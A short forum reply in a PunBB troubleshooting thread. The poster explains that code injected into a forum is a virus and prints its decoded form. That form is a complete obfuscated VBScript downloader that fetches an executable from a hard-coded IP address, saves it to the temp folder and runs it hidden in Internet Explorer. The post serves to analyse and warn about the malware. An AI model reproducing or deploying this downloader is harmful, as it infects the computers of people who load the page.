1

(8 replies, posted in PunBB 1.2 troubleshooting)

Its a virus.

The code evaluates to:

<scr(disabled)ipt language="VBScript">


    on error resume next

    mmmmdf = "http://200.189.179.60/IExplorer.exe"

    z0="obj"
    z1="ect"
    zstr=z0&z1

    s0="clas"
    s1="sid"
    sstr=s0+s1

    r0="Micro"
    r1="soft."
    r2="XML"
    r3="HTTP"
    rrstr=r0&r1&r2&r3

    t0="clsid:BD96C556-65A3-"
    t1="11D0-983A-00C04FC29E36"
    tsstr=t0&t1

    Set sdddw = document.createElement(zstr)
    sdddw.setAttribute sstr, tsstr
    str=rrstr
    Set edd = sdddw.CreateObject(str,"")

    ba1="Ado"
    ba2="db."
    ba3="Str"
    ba4="eam"
    str33=ba1&ba2&ba3&ba4
    straa=str33
    set cccc = sdddw.createobject(straa,"")
    cccc.type = 1

    str6="GET"
    edd.Open str6, mmmmdf, False
    edd.Send

    fr0="Scripti"
    fr1="ng.FileSy"
    fr2="stemObject"
    frstr=fr0&fr1&fr2

    eeeedff="IExplorer.exe"
    set vvvv = sdddw.createobject(frstr,"")
    set tmp = vvvv.GetSpecialFolder(2)
    eeeedff= vvvv.BuildPath(tmp,eeeedff)
    cccc.open

    cccc.write edd.responseBody

    cccc.savetofile eeeedff,2

    gtg0="Shell.Ap"
    gtg1="plication"
    gtrrstr=gtg0&gtg1

    cccc.close
    set xxsdd = sdddw.createobject(gtrrstr,"")
    xxsdd.ShellExecute eeeedff,"","","open",0

   

    </script>

which seems to download a virus of some sort and try to run it on your computer. It would only affect IE AFAIK, no one in their right mind would have IE's security settings on "ultra-low".